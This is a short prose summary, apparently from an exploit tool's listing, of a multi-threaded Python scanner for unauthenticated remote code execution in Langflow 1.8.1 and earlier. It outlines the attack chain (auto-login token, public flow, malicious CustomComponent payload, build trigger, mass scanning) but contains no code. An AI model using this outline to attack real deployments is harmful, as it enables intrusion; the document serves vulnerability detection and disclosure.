    [+] Summary    : This Python script is a multi-threaded tool targeting a suspected vulnerability in Langflow (≤ 1.8.1) that allows unauthenticated remote code execution through unsafe execution of CustomComponent code during flow compilation.
    
    [+] The tool automates the exploitation workflow by:
    
    Attempting to obtain an authentication token via an auto-login endpoint when available.
    Searching for or creating a public flow within the target instance.
    Injecting a malicious CustomComponent payload containing Python code that triggers OS command execution.
    Submitting a build request to the vulnerable endpoint and monitoring job execution events.
    Reporting whether the target is vulnerable based on build validation results.
    Supporting multi-target scanning with threading, optional cleanup of created flows, and configurable command execution.
    
    Overall, it is designed as an automated scanner to detect and demonstrate potential RCE impact in vulnerable Langflow deployments.
